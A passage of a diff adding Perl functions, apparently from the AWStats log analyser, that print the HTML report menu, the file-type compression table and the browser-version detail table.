!$StaticLinks ) { print "<br />"; Show_Flag_Links($Lang); } + print "</td>"; + } + + print "</tr>\n"; + + # Print selected period of analysis (month and year required) + print +"<tr><td class=\"aws\" valign=\"middle\"><b>$Message[133]:</b></td>"; + print "<td class=\"aws\" valign=\"middle\">"; + if ( $ENV{'GATEWAY_INTERFACE'} || !$StaticLinks ) { + print "<select class=\"aws_formfield\" name=\"month\">\n"; + foreach ( 1 .. 12 ) { + my $monthix = sprintf( "%02s", $_ ); + print "<option" + . ( + "$MonthRequired" eq "$monthix" + ? " selected=\"selected\"" + : "" + ) + . " value=\"$monthix\">$MonthNumLib{$monthix}</option>\n"; + } + if ( $AllowFullYearView >= 2 ) { + print "<option" + . ( $MonthRequired eq 'all' ? " selected=\"selected\"" : "" ) + . " value=\"all\">- $Message[6] -</option>\n"; + } + print "</select>\n"; + print "<select class=\"aws_formfield\" name=\"year\">\n"; + + # Add YearRequired in list if not in ListOfYears + $ListOfYears{$YearRequired} ||= $MonthRequired; + foreach ( sort keys %ListOfYears ) { + print "<option" + . ( $YearRequired eq "$_" ? " selected=\"selected\"" : "" ) + . " value=\"$_\">$_</option>\n"; + } + print "</select>\n"; + print "<input type=\"hidden\" name=\"output\" value=\"" + . join( ',', keys %HTMLOutput ) + . "\" />\n"; + if ($SiteConfig) { + print +"<input type=\"hidden\" name=\"config\" value=\"$SiteConfig\" />\n"; + } + if ($DirConfig) { + print +"<input type=\"hidden\" name=\"configdir\" value=\"$DirConfig\" />\n"; + } + if ( $QueryString =~ /lang=(\w+)/i ) { + print + "<input type=\"hidden\" name=\"lang\" value=\"$1\" />\n"; + } + if ( $QueryString =~ /debug=(\d+)/i ) { + print + "<input type=\"hidden\" name=\"debug\" value=\"$1\" />\n"; + } + if ( $FrameName eq 'mainright' ) { + print +"<input type=\"hidden\" name=\"framename\" value=\"index\" />\n"; + } + print +"<input type=\"submit\" value=\" $Message[115] \" class=\"aws_button\" />"; + } + else { + print "<span style=\"font-size: 14px;\">"; + if ($DayRequired) { print "$Message[4] $DayRequired - "; } + if ( $MonthRequired eq 'all' ) { + print "$Message[6] $YearRequired"; + } + else { + print + "$Message[5] $MonthNumLib{$MonthRequired} $YearRequired"; + } + print "</span>"; + } + print "</td></tr>\n"; + } + if ( $QueryString !~ /buildpdf/i ) { + print "</table>\n"; + print "</td></tr></table>\n"; + } + else { + print "</table>\n"; + } + + if ( $FrameName ne 'mainleft' ) { print "</form><br />\n"; } + else { print "<br />\n"; } + print "\n"; +} + +#------------------------------------------------------------------------------ +# Function: Prints the menu in a frame or below the top banner +# Parameters: _ +# Input: _ +# Output: HTML +# Return: - +#------------------------------------------------------------------------------ +sub HTMLMenu{ + my $NewLinkParams = shift; + my $NewLinkTarget = shift; + my $frame = ( $FrameName eq 'mainleft' ); + + if ($Debug) { debug( "ShowMenu", 2 ); } + + # Print menu links + if ( ( $HTMLOutput{'main'} && $FrameName ne 'mainright' ) + || $FrameName eq 'mainleft' ) + { # If main page asked + # Define link anchor + my $linkanchor = + ( $FrameName eq 'mainleft' ? "$AWScript${NewLinkParams}" : "" ); + if ( $linkanchor && ( $linkanchor !~ /framename=mainright/ ) ) { + $linkanchor .= "framename=mainright"; + } + $linkanchor =~ s/(&|&)$//; + $linkanchor = XMLEncode("$linkanchor"); + + # Define target + my $targetpage = + ( $FrameName eq 'mainleft' ? " target=\"mainright\"" : "" ); + + # Print Menu + my $linetitle; # TODO a virer + if ( !$PluginsLoaded{'ShowMenu'}{'menuapplet'} ) { + my $menuicon = 0; # TODO a virer + # Menu HTML + print "<table" + . ( + $frame + ? " cellspacing=\"0\" cellpadding=\"0\" border=\"0\"" + : "" + ) + . ">\n"; + if ( $FrameName eq 'mainleft' && $ShowMonthStats ) { + print( $frame? "<tr><td class=\"awsm\">" : "" ); + print +"<a href=\"$linkanchor#top\"$targetpage>$Message[128]</a>"; + print( $frame? "</td></tr>\n" : " " ); + } + my %menu = (); + my %menulink = (); + my %menutext = (); + + #print "<a name=\"menu_extra\"> </a><br />\n"; # ancora onde será inserido o menu extra + + # When + %menu = ( + 'month' => $ShowMonthStats ? 1 : 0, + 'daysofmonth' => $ShowDaysOfMonthStats ? 2 : 0, + 'daysofweek' => $ShowDaysOfWeekStats ? 3 : 0, + 'hours' => $ShowHoursStats ? 4 : 0 + ); + %menulink = ( + 'month' => 1, + 'daysofmonth' => 1, + 'daysofweek' => 1, + 'hours' => 1 + ); + %menutext = ( + 'month' => $Message[162], + 'daysofmonth' => $Message[138], + 'daysofweek' => $Message[91], + 'hours' => $Message[20] + ); + HTMLShowMenuCateg( + 'when', $Message[93], + 'menu4.png', $frame, + $targetpage, $linkanchor, + $NewLinkParams, $NewLinkTarget, + \%menu, \%menulink, + \%menutext + ); + + # Who + %menu = ( + 'countries' => $ShowDomainsStats ? 1 : 0, + 'alldomains' => $ShowDomainsStats ? 2 : 0, + 'visitors' => $ShowHostsStats ? 3 : 0, + 'allhosts' => $ShowHostsStats ? 4 : 0, + 'lasthosts' => ( $ShowHostsStats =~ /L/i ) ? 5 : 0, + 'unknownip' => $ShowHostsStats ? 6 : 0, + 'logins' => $ShowAuthenticatedUsers ? 7 : 0, + 'alllogins' => $ShowAuthenticatedUsers ? 8 : 0, + 'lastlogins' => ( $ShowAuthenticatedUsers =~ /L/i ) ? 9 : 0, + 'emailsenders' => $ShowEMailSenders ? 10 : 0, + 'allemails' => $ShowEMailSenders ? 11 : 0, + 'lastemails' => ( $ShowEMailSenders =~ /L/i ) ? 12 : 0, + 'emailreceivers' => $ShowEMailReceivers ? 13 : 0, + 'allemailr' => $ShowEMailReceivers ? 14 : 0, + 'lastemailr' => ( $ShowEMailReceivers =~ /L/i ) ? 15 : 0, + 'robots' => $ShowRobotsStats ? 16 : 0, + 'allrobots' => $ShowRobotsStats ? 17 : 0, + 'lastrobots' => ( $ShowRobotsStats =~ /L/i ) ? 18 : 0, + 'worms' => $ShowWormsStats ? 19 : 0 + ); + %menulink = ( + 'countries' => 1, + 'alldomains' => 2, + 'visitors' => 1, + 'allhosts' => 2, + 'lasthosts' => 2, + 'unknownip' => 2, + 'logins' => 1, + 'alllogins' => 2, + 'lastlogins' => 2, + 'emailsenders' => 1, + 'allemails' => 2, + 'lastemails' => 2, + 'emailreceivers' => 1, + 'allemailr' => 2, + 'lastemailr' => 2, + 'robots' => 1, + 'allrobots' => 2, + 'lastrobots' => 2, + 'worms' => 1 + ); + %menutext = ( + 'countries' => $Message[148], + 'alldomains' => $Message[80], + 'visitors' => $Message[81], + 'allhosts' => $Message[80], + 'lasthosts' => $Message[9], + 'unknownip' => $Message[45], + 'logins' => $Message[94], + 'alllogins' => $Message[80], + 'lastlogins' => $Message[9], + 'emailsenders' => $Message[131], + 'allemails' => $Message[80], + 'lastemails' => $Message[9], + 'emailreceivers' => $Message[132], + 'allemailr' => $Message[80], + 'lastemailr' => $Message[9], + 'robots' => $Message[53], + 'allrobots' => $Message[80], + 'lastrobots' => $Message[9], + 'worms' => $Message[136] + ); + HTMLShowMenuCateg( + 'who', $Message[92], + 'menu5.png', $frame, + $targetpage, $linkanchor, + $NewLinkParams, $NewLinkTarget, + \%menu, \%menulink, + \%menutext + ); + + # Navigation + $linetitle = &AtLeastOneNotNull( + $ShowSessionsStats, $ShowPagesStats, + $ShowFileTypesStats, $ShowFileSizesStats, + $ShowOSStats, $ShowBrowsersStats, + $ShowScreenSizeStats, $ShowDownloadsStats + ); + if ($linetitle) { + print "<tr><td class=\"awsm\"" + . ( $frame ? "" : " valign=\"top\"" ) . ">" + . ( + $menuicon + ? "<img src=\"$DirIcons/other/menu2.png\" /> " + : "" + ) + . "<b>$Message[72]:</b></td>\n"; + } + if ($linetitle) { + print( $frame? "</tr>\n" : "<td class=\"awsm\">" ); + } + if ($ShowSessionsStats) { + print( $frame? "<tr><td class=\"awsm\">" : "" ); + print +"<a href=\"$linkanchor#sessions\"$targetpage>$Message[117]</a>"; + print( $frame? "</td></tr>\n" : " " ); + } + if ($ShowFileTypesStats && $LevelForFileTypesDetection > 0) { + print( $frame? "<tr><td class=\"awsm\">" : "" ); + print +"<a href=\"$linkanchor#filetypes\"$targetpage>$Message[73]</a>"; + print( $frame? "</td></tr>\n" : " " ); + } + if ($ShowDownloadsStats && $LevelForFileTypesDetection > 0) { + print( $frame? "<tr><td class=\"awsm\">" : "" ); + print +"<a href=\"$linkanchor#downloads\"$targetpage>$Message[178]</a>"; + print( $frame? "</td></tr>\n" : " " ); + print( $frame + ? "<tr><td class=\"awsm\"> <img height=\"8\" width=\"9\" src=\"$DirIcons/other/page.png\" alt=\"...\" /> " + : "" + ); + print "<a href=\"" + . ( + $ENV{'GATEWAY_INTERFACE'} || !$StaticLinks + ? XMLEncode( + "$AWScript${NewLinkParams}output=downloads") + : "$StaticLinks.downloads.$StaticExt" + ) + . "\"$NewLinkTarget>$Message[80]</a>\n"; + print( $frame? "</td></tr>\n" : " " ); + } + if ($ShowPagesStats) { + print( $frame? "<tr><td class=\"awsm\">" : "" ); + print +"<a href=\"$linkanchor#urls\"$targetpage>$Message[29]</a>\n"; + print( $frame? "</td></tr>\n" : " " ); + } + if ($ShowPagesStats) { + print( $frame + ? "<tr><td class=\"awsm\"> <img height=\"8\" width=\"9\" src=\"$DirIcons/other/page.png\" alt=\"...\" /> " + : "" + ); + print "<a href=\"" + . ( + $ENV{'GATEWAY_INTERFACE'} || !$StaticLinks + ? XMLEncode( + "$AWScript${NewLinkParams}output=urldetail") + : "$StaticLinks.urldetail.$StaticExt" + ) + . "\"$NewLinkTarget>$Message[80]</a>\n"; + print( $frame? "</td></tr>\n" : " " ); + } + if ( $ShowPagesStats =~ /E/i ) { + print( $frame + ? "<tr><td class=\"awsm\"> <img height=\"8\" width=\"9\" src=\"$DirIcons/other/page.png\" alt=\"...\" /> " + : "" + ); + print "<a href=\"" + . ( + $ENV{'GATEWAY_INTERFACE'} || !$StaticLinks + ? XMLEncode( + "$AWScript${NewLinkParams}output=urlentry") + : "$StaticLinks.urlentry.$StaticExt" + ) + . "\"$NewLinkTarget>$Message[104]</a>\n"; + print( $frame? "</td></tr>\n" : " " ); + } + if ( $ShowPagesStats =~ /X/i ) { + print( $frame + ? "<tr><td class=\"awsm\"> <img height=\"8\" width=\"9\" src=\"$DirIcons/other/page.png\" alt=\"...\" /> " + : "" + ); + print "<a href=\"" + . ( + $ENV{'GATEWAY_INTERFACE'} + || !$StaticLinks + ? XMLEncode("$AWScript${NewLinkParams}output=urlexit") + : "$StaticLinks.urlexit.$StaticExt" + ) + . "\"$NewLinkTarget>$Message[116]</a>\n"; + print( $frame? "</td></tr>\n" : " " ); + } + if ($ShowOSStats) { + print( $frame? "<tr><td class=\"awsm\">" : "" ); + print + "<a href=\"$linkanchor#os\"$targetpage>$Message[59]</a>"; + print( $frame? "</td></tr>\n" : " " ); + } + if ($ShowOSStats) { + print( $frame + ? "<tr><td class=\"awsm\"> <img height=\"8\" width=\"9\" src=\"$DirIcons/other/page.png\" alt=\"...\" /> " + : "" + ); + print "<a href=\"" + . ( + $ENV{'GATEWAY_INTERFACE'} || !$StaticLinks + ? XMLEncode( + "$AWScript${NewLinkParams}output=osdetail") + : "$StaticLinks.osdetail.$StaticExt" + ) + . "\"$NewLinkTarget>$Message[58]</a>\n"; + print( $frame? "</td></tr>\n" : " " ); + } + if ($ShowOSStats) { + print( $frame + ? "<tr><td class=\"awsm\"> <img height=\"8\" width=\"9\" src=\"$DirIcons/other/page.png\" alt=\"...\" /> " + : "" + ); + print "<a href=\"" + . ( + $ENV{'GATEWAY_INTERFACE'} || !$StaticLinks + ? XMLEncode( + "$AWScript${NewLinkParams}output=unknownos") + : "$StaticLinks.unknownos.$StaticExt" + ) + . "\"$NewLinkTarget>$Message[0]</a>\n"; + print( $frame? "</td></tr>\n" : " " ); + } + if ($ShowBrowsersStats) { + print( $frame? "<tr><td class=\"awsm\">" : "" ); + print +"<a href=\"$linkanchor#browsers\"$targetpage>$Message[21]</a>"; + print( $frame? "</td></tr>\n" : " " ); + } + if ($ShowBrowsersStats) { + print( $frame + ? "<tr><td class=\"awsm\"> <img height=\"8\" width=\"9\" src=\"$DirIcons/other/page.png\" alt=\"...\" /> " + : "" + ); + print "<a href=\"" + . ( + $ENV{'GATEWAY_INTERFACE'} || !$StaticLinks + ? XMLEncode( + "$AWScript${NewLinkParams}output=browserdetail") + : "$StaticLinks.browserdetail.$StaticExt" + ) + . "\"$NewLinkTarget>$Message[58]</a>\n"; + print( $frame? "</td></tr>\n" : " " ); + } + if ($ShowBrowsersStats) { + print( $frame + ? "<tr><td class=\"awsm\"> <img height=\"8\" width=\"9\" src=\"$DirIcons/other/page.png\" alt=\"...\" /> " + : "" + ); + print "<a href=\"" + . ( + $ENV{'GATEWAY_INTERFACE'} || !$StaticLinks + ? XMLEncode( + "$AWScript${NewLinkParams}output=unknownbrowser") + : "$StaticLinks.unknownbrowser.$StaticExt" + ) + . "\"$NewLinkTarget>$Message[0]</a>\n"; + print( $frame? "</td></tr>\n" : " " ); + } + if ($ShowScreenSizeStats) { + print( $frame? "<tr><td class=\"awsm\">" : "" ); + print +"<a href=\"$linkanchor#screensizes\"$targetpage>$Message[135]</a>"; + print( $frame? "</td></tr>\n" : " " ); + } + if ($linetitle) { print( $frame? "" : "</td></tr>\n" ); } + + # Referers + %menu = ( + 'referer' => $ShowOriginStats ? 1 : 0, + 'refererse' => $ShowOriginStats ? 2 : 0, + 'refererpages' => $ShowOriginStats ? 3 : 0, + 'keys' => ( $ShowKeyphrasesStats || $ShowKeywordsStats ) + ? 4 + : 0, + 'keyphrases' => $ShowKeyphrasesStats ? 5 : 0, + 'keywords' => $ShowKeywordsStats ? 6 : 0 + ); + %menulink = ( + 'referer' => 1, + 'refererse' => 2, + 'refererpages' => 2, + 'keys' => 1, + 'keyphrases' => 2, + 'keywords' => 2 + ); + %menutext = ( + 'referer' => $Message[37], + 'refererse' => $Message[126], + 'refererpages' => $Message[127], + 'keys' => $Message[14], + 'keyphrases' => $Message[120], + 'keywords' => $Message[121] + ); + HTMLShowMenuCateg( + 'referers', $Message[23], + 'menu7.png', $frame, + $targetpage, $linkanchor, + $NewLinkParams, $NewLinkTarget, + \%menu, \%menulink, + \%menutext + ); + + # Others + %menu = ( + 'filetypes' => ( $ShowFileTypesStats =~ /C/i ) ? 1 : 0, + 'misc' => $ShowMiscStats ? 2 : 0, + 'errors' => ( $ShowHTTPErrorsStats || $ShowSMTPErrorsStats ) + ? 3 + : 0, + 'clusters' => $ShowClusterStats ? 5 : 0 + ); + %menulink = ( + 'filetypes' => 1, + 'misc' => 1, + 'errors' => 1, + 'clusters' => 1 + ); + %menutext = ( + 'filetypes' => $Message[98], + 'misc' => $Message[139], + 'errors' => + ( $ShowSMTPErrorsStats ? $Message[147] : $Message[32] ), + 'clusters' => $Message[155] + ); + foreach ( keys %TrapInfosForHTTPErrorCodes ) { + $menu{"errors$_"} = $ShowHTTPErrorsStats ? 4 : 0; + $menulink{"errors$_"} = 2; + $menutext{"errors$_"} = $Message[31]; + } + HTMLShowMenuCateg( + 'others', $Message[2], + 'menu8.png', $frame, + $targetpage, $linkanchor, + $NewLinkParams, $NewLinkTarget, + \%menu, \%menulink, + \%menutext + ); + + # Extra/Marketing + %menu = (); + %menulink = (); + %menutext = (); + my $i = 1; + foreach ( 1 .. @ExtraName - 1 ) { + $menu{"extra$_"} = $i++; + $menulink{"extra$_"} = 1; + $menutext{"extra$_"} = $ExtraName[$_]; + $menu{"allextra$_"} = $i++; + $menulink{"allextra$_"} = 2; + $menutext{"allextra$_"} = $Message[80]; + } + HTMLShowMenuCateg( + 'extra', $Message[134], + '', $frame, + $targetpage, $linkanchor, + $NewLinkParams, $NewLinkTarget, + \%menu, \%menulink, + \%menutext + ); + #print "<a name=\"end_menu_extra\"> </a><br />\n"; # ancora que marca o fim do menu extra + print "</table>\n"; + } + else { + + # Menu Applet + if ($frame) { } + else { } + } + + #print ($frame?"":"<br />\n"); + print "<br />\n"; + } + + # Print Back link + elsif ( !$HTMLOutput{'main'} ) { + print "<table>\n"; + $NewLinkParams =~ s/(^|&|&)hostfilter=[^&]*//i; + $NewLinkParams =~ s/(^|&|&)urlfilter=[^&]*//i; + $NewLinkParams =~ s/(^|&|&)refererpagesfilter=[^&]*//i; + $NewLinkParams =~ s/(&|&)+/&/i; + $NewLinkParams =~ s/^&//; + $NewLinkParams =~ s/&$//; + if ( !$DetailedReportsOnNewWindows + || $FrameName eq 'mainright' + || $QueryString =~ /buildpdf/i ) + { + print "<tr><td class=\"aws\"><a href=\"" + . ( + $ENV{'GATEWAY_INTERFACE'} || !$StaticLinks + ? XMLEncode("$AWScript${NewLinkParams}") + : "$StaticLinks.$StaticExt" + ) + . "\">$Message[76]</a></td></tr>\n"; + } + else { + print +"<tr><td class=\"aws\"><a href=\"javascript:parent.window.close();\">$Message[118]</a></td></tr>\n"; + } + print "</table>\n"; + print "\n"; + } +} + +#------------------------------------------------------------------------------ +# Function: Prints the File Type table +# Parameters: _ +# Input: $NewLinkParams, $NewLinkTargets +# Output: HTML +# Return: - +#------------------------------------------------------------------------------ +sub HTMLMainFileType{ + my $NewLinkParams = shift; + my $NewLinkTarget = shift; + if (!$LevelForFileTypesDetection > 0){return;} + if ($Debug) { debug( "ShowFileTypesStatsCompressionStats", 2 ); } + print "$Center<a name=\"filetypes\"> </a><br />\n"; + my $Totalh = 0; + foreach ( keys %_filetypes_h ) { $Totalh += $_filetypes_h{$_}; } + my $Totalk = 0; + foreach ( keys %_filetypes_k ) { $Totalk += $_filetypes_k{$_}; } + my $title = "$Message[73]"; + if ( $AddLinkToExternalCGIWrapper && ($ENV{'GATEWAY_INTERFACE'} || !$StaticLinks) ) { + # extend the title to include the added link + $title = "$title - <a href=\"" . (XMLEncode( + "$AddLinkToExternalCGIWrapper" . "?section=FILETYPES&baseName=$DirData/$PROG" + . "&month=$MonthRequired&year=$YearRequired&day=$DayRequired" + . "&siteConfig=$SiteConfig" ) + . "\"$NewLinkTarget>$Message[179]</a>"); + } + + if ( $ShowFileTypesStats =~ /C/i ) { $title .= " - $Message[98]"; } + + # build keylist at top + &BuildKeyList( $MaxRowsInHTMLOutput, 1, \%_filetypes_h, + \%_filetypes_h ); + + &tab_head( "$title", 19, 0, 'filetypes' ); + + # Graph the top five in a pie chart + if (scalar @keylist > 1){ + foreach my $pluginname ( keys %{ $PluginsLoaded{'ShowGraph'} } ) + { + my @blocklabel = (); + my @valdata = (); + my @valcolor = ($color_p); + my $cnt = 0; + foreach my $key (@keylist) { + push @valdata, int( $_filetypes_h{$key} / $Totalh * 1000 ) / 10; + push @blocklabel, "$key"; + $cnt++; + if ($cnt > 4) { last; } + } + print "<tr><td colspan=\"7\">"; + my $function = "ShowGraph_$pluginname"; + &$function( + "$Message[73]", "filetypes", + 0, \@blocklabel, + 0, \@valcolor, + 0, 0, + 0, \@valdata + ); + print "</td></tr>"; + } + } + + print +"<tr bgcolor=\"#$color_TableBGRowTitle\"><th colspan=\"3\">$Message[73]</th>"; + + if ( $ShowFileTypesStats =~ /H/i ) { + print "<th bgcolor=\"#$color_h\" width=\"80\"" + . Tooltip(4) + . ">$Message[57]</th><th bgcolor=\"#$color_h\" width=\"80\">$Message[15]</th>"; + } + if ( $ShowFileTypesStats =~ /B/i ) { + print "<th bgcolor=\"#$color_k\" width=\"80\"" + . Tooltip(5) + . ">$Message[75]</th><th bgcolor=\"#$color_k\" width=\"80\">$Message[15]</th>"; + } + if ( $ShowFileTypesStats =~ /C/i ) { + print +"<th bgcolor=\"#$color_k\" width=\"100\">$Message[100]</th><th bgcolor=\"#$color_k\" width=\"100\">$Message[101]</th><th bgcolor=\"#$color_k\" width=\"100\">$Message[99]</th>"; + } + print "</tr>\n"; + my $total_con = 0; + my $total_cre = 0; + my $count = 0; + foreach my $key (@keylist) { + my $p_h = ' '; + my $p_k = ' '; + if ($Totalh) { + $p_h = int( $_filetypes_h{$key} / $Totalh * 1000 ) / 10; + $p_h = "$p_h %"; + } + if ($Totalk) { + $p_k = int( $_filetypes_k{$key} / $Totalk * 1000 ) / 10; + $p_k = "$p_k %"; + } + if ( $key eq 'Unknown' ) { + print "<tr><td" + . ( $count ? "" : " width=\"$WIDTHCOLICON\"" ) + . "><img src=\"$DirIcons\/mime\/unknown.png\"" + . AltTitle("") + . " /></td><td class=\"aws\" colspan=\"2\"><span style=\"color: #$color_other\">$Message[0]</span></td>"; + } + else { + my $nameicon = $MimeHashLib{$key}[0] || "notavailable"; + my $nametype = $MimeHashFamily{$MimeHashLib{$key}[0]} || " "; + print "<tr><td" + . ( $count ? "" : " width=\"$WIDTHCOLICON\"" ) + . "><img src=\"$DirIcons\/mime\/$nameicon.png\"" + . AltTitle("") + . " /></td><td class=\"aws\">$key</td>"; + print "<td class=\"aws\">$nametype</td>"; + } + if ( $ShowFileTypesStats =~ /H/i ) { + print "<td>".Format_Number($_filetypes_h{$key})."</td><td>$p_h</td>"; + } + if ( $ShowFileTypesStats =~ /B/i ) { + print '<td nowrap="nowrap">' + . Format_Bytes( $_filetypes_k{$key} ) + . "</td><td>$p_k</td>"; + } + if ( $ShowFileTypesStats =~ /C/i ) { + if ( $_filetypes_gz_in{$key} ) { + my $percent = int( + 100 * ( + 1 - $_filetypes_gz_out{$key} / + $_filetypes_gz_in{$key} + ) + ); + printf( + "<td>%s</td><td>%s</td><td>%s (%s%)</td>", + Format_Bytes( $_filetypes_gz_in{$key} ), + Format_Bytes( $_filetypes_gz_out{$key} ), + Format_Bytes( + $_filetypes_gz_in{$key} - + $_filetypes_gz_out{$key} + ), + $percent + ); + $total_con += $_filetypes_gz_in{$key}; + $total_cre += $_filetypes_gz_out{$key}; + } + else { + print "<td> </td><td> </td><td> </td>"; + } + } + print "</tr>\n"; + $count++; + } + + # Add total (only usefull if compression is enabled) + if ( $ShowFileTypesStats =~ /C/i ) { + my $colspan = 3; + if ( $ShowFileTypesStats =~ /H/i ) { $colspan += 2; } + if ( $ShowFileTypesStats =~ /B/i ) { $colspan += 2; } + print "<tr>"; + print +"<td class=\"aws\" colspan=\"$colspan\"><b>$Message[98]</b></td>"; + if ( $ShowFileTypesStats =~ /C/i ) { + if ($total_con) { + my $percent = + int( 100 * ( 1 - $total_cre / $total_con ) ); + printf( + "<td>%s</td><td>%s</td><td>%s (%s%)</td>", + Format_Bytes($total_con), + Format_Bytes($total_cre), + Format_Bytes( $total_con - $total_cre ), + $percent + ); + } + else { + print "<td> </td><td> </td><td> </td>"; + } + } + print "</tr>\n"; + } + &tab_end(); +} + +#------------------------------------------------------------------------------ +# Function: Prints the Browser Detail frame or static page +# Parameters: _ +# Input: _ +# Output: HTML +# Return: - +#------------------------------------------------------------------------------ +sub HTMLShowBrowserDetail{ + # Show browsers versions + print "$Center<a name=\"browsersversions\"> </a><br />"; + my $title = "$Message[21]"; + &tab_head( "$title", 19, 0, 'browsersversions' ); + print +"<tr bgcolor=\"#$color_TableBGRowTitle\"><th colspan=\"2\">$Message[58]</th>"; + print +"<th width=\"80\">$Message[111]</th><th bgcolor=\"#$color_p\" width=\"80\">$Message[56]</th><th bgcolor=\"#$color_p\" width=\"80\">$Message[15]</th>"; + print +"<th bgcolor=\"#$color_h\" width=\"80\">$Message[57]</th><th bgcolor=\"#$color_h\" width=\"80\">$Message[15]</th>"; + print "<th> </th>"; + print "</tr>\n"; + my $total_h = 0; + my $total_p = 0; + my $count = 0; + &BuildKeyList( MinimumButNoZero( scalar keys %_browser_h, 500 ), + 1, \%_browser_h, \%_browser_p ); + my %keysinkeylist = (); + my $max_h = 1; + my $max_p = 1; + + # Count total by family + my %totalfamily_h = (); + my %totalfamily_p = (); + my $TotalFamily_h = 0; + my $TotalFamily_p = 0; + BROWSERLOOP: foreach my $key (@keylist) { + $total_h += $_browser_h{$key}; + if ( $_browser_h{$key} > $max_h ) { + $max_h = $_browser_h{$key}; + } + $total_p += $_browser_p{$key}; + if ( $_browser_p{$key} > $max_p ) { + $max_p = $_browser_p{$key}; + } + foreach my $family ( keys %BrowsersFamily ) { + if ( $key =~ /^$family/i ) { + $totalfamily_h{$family} += $_browser_h{$key}; + $totalfamily_p{$family} += $_browser_p{$key}; + $TotalFamily_h += $_browser_h{$key}; + $TotalFamily_p += $_browser_p{$key}; + next BROWSERLOOP; + } + } + } + + # Write records grouped in a browser family + foreach my $family ( + sort { $BrowsersFamily{$a} <=> $BrowsersFamily{$b} } + keys %BrowsersFamily + ) + { + my $p_h = ' '; + my $p_p = ' '; + if ($total_h) { + $p_h = int( $totalfamily_h{$family} / $total_h * 1000 ) / 10; + $p_h = "$p_h %"; + } + if ($total_p) { + $p_p = int( $totalfamily_p{$family} / $total_p * 1000 ) / 10; + $p_p = "$p_p %"; + } + my $familyheadershown = 0; + + #foreach my $key ( reverse sort keys %_browser_h ) { + foreach my $key ( reverse sort SortBrowsers keys %_browser_h ) { + if ( $key =~ /^$family(.*)/i ) { + if ( !$familyheadershown ) { + print +"<tr bgcolor=\"#F6F6F6\"><td class=\"aws\" colspan=\"2\"><b>" + . uc($family) + . "</b></td>"; + print "<td> </td><td><b>" + . Format_Number(int( $totalfamily_p{$family} )) + . "</b></td><td><b>$p_p</b></td>"; + print "<td><b>" + . Format_Number(int( $totalfamily_h{$family} )) + . "</b></td><td><b>$p_h</b></td><td> </td>"; + print "</tr>\n"; + $familyheadershown = 1; + } + $keysinkeylist{$key} = 1; + my $ver = $1; + my $p_h = ' '; + my $p_p = ' '; + if ($total_h) { + $p_h = + int( $_browser_h{$key} / $total_h * 1000 ) / 10; + $p_h = "$p_h %"; + } + if ($total_p) { + $p_p = + int( $_browser_p{$key} / $total_p * 1000 ) / 10; + $p_p = "$p_p %"; + } + print "<tr>"; + print "<td" + . ( $count ? "" : " width=\"$WIDTHCOLICON\"" ) + . "><img src=\"$DirIcons\/browser\/$family.png\"" + . AltTitle("") + . " /></td>"; + print "<td class=\"aws\">" + . ucfirst($family) . " " + . ( $ver ? "$ver" : "?" ) . "</td>"; + print "<td>" + . ( + $BrowsersHereAreGrabbers{$family} + ? "<b>$Message[112]</b>" + : "$Message[113]" + ) + . "</td>"; + my $bredde_h = 0; + my $bredde_p = 0; + if ( $max_h > 0 ) { + $bredde_h = + int( $BarWidth * ( $_browser_h{$key} || 0 ) / + $max_h ) + 1; + } + if ( ( $bredde_h == 1 ) && $_browser_h{$key} ) { + $bredde_h = 2; + } + if ( $max_p > 0 ) { + $bredde_p = + int( $BarWidth * ( $_browser_p{$key} || 0 ) / + $max_p ) + 1; + } + if ( ( $bredde_p == 1 ) && $_browser_p{$key} ) { + $bredde_p = 2; + } + print "<td>".Format_Number($_browser_p{$key})."</td><td>$p_p</td>"; + print "<td>".Format_Number($_browser_h{$key})."</td><td>$p_h</td>"; + print "<td class=\"aws\">"; + + # alt and title are not provided to reduce page size + if ($ShowBrowsersStats) { + print +"<img src=\"$DirIcons\/other\/$BarPng{'hp'}\" width=\"$bredde_p\" height=\"5\" /><br />"; + print +"<img src=\"$DirIcons\/other\/$BarPng{'hh'}\" width=\"$bredde_h\" height=\"5\" /><br />"; + } + print "</td>"; + print "</tr>\n"; + $count++; + } + } + } + + # Write other records + my $familyheadershown = 0; + foreach my $key (@keylist) { + if ( $keysinkeylist{$key} ) { next; } + if ( !$familyheadershown ) { + my $p_h = ' '; + my $p_p = ' '; + if ($total_p) { + $p_p = + int( ( $total_p - $TotalFamily_p ) / $total_p * 1000 ) / + 10; + $p_p = "$p_p %"; + } + if ($total_h) { + $p_h = + int( ( $total_h - $TotalFamily_h ) / $total_h * 1000 ) / + 10; + $p_h = "$p_h %"; + } + print +"<tr bgcolor=\"#F6F6F6\"><td class=\"aws\" colspan=\"2\"><b>$Message[2]</b></td>"; + print "<td> </td><td><b>" + . Format_Number(( $total_p - $TotalFamily_p )) + . "</b></td><td><b>$p_p</b></td>"; + print "<td><b>" + . Format_Number(( $total_h - $TotalFamily_h )) + . "</b></td><td><b>$p_h</b></td><td> </td>"; + print "</tr>\n"; + $familyheadershown = 1; + } + my $p_h = ' '; + my $p_p = ' '; + if ($total_h) { + $p_h = int( $_browser_h{$key} / $total_h * 1000 ) / 10; + $p_h = "$p_h %"; + } + if ($total_p) { + $p_p = int( $_browser_p{$key} / $total_p * 1000 ) / 10; + $p_p = "$p_p %"; + } + print "<tr>"; + if ( $key eq 'Unknown' ) { + print "<td" + . ( $count ? "" : " width=\"$WIDTHCOLICON\"" ) + . "><img src=\"$DirIcons\/browser\/unknown.png\"" + . AltTitle("") + . " /></td><td class=\"aws\"><span style=\"color: #$color_other\">$Message[0]</span></td><td width=\"80\">?</td>"; + } + else { + my $keywithoutcumul = $key; + $keywithoutcumul =~ s/cumul$//i; + my $libbrowser = $BrowsersHashIDLib{$keywithoutcumul} + || $keywithoutcumul; + my $nameicon = $BrowsersHashIcon{$keywithoutcumul} + || "notavailable"; + print "<td" + . ( $count ? "" : " width=\"$WIDTHCOLICON\"" ) + . "><img src=\"$DirIcons\/browser\/$nameicon.png\"" + . AltTitle("") + . " /></td><td class=\"aws\">$libbrowser</td><td>" + . ( + $BrowsersHereAreGrabbers{$key} + ? "<b>$Message[112]</b>" + : "$Message[113]" + ) + . "</td>"; + } + my $bredde_h = 0; + my $bredde_p = 0; + if ( $max_h > 0 ) { + $bredde_h = + int( $BarWidth * ( $_browser_h{$key} || 0 ) / $max_h ) + + 1; + } + if ( $max_p > 0 ) { + $bredde_p = + int( $BarWidth * ( $_browser_p{$key} || 0 ) / $max_p ) + + 1; + } + if ( ( $bredde_h == 1 ) && $_browser_h{$key} ) { + $bredde_h = 2; + } + if ( ( $bredde_p == 1 ) && $_browser_p{$key} ) { + $bredde_p = 2; + } + print 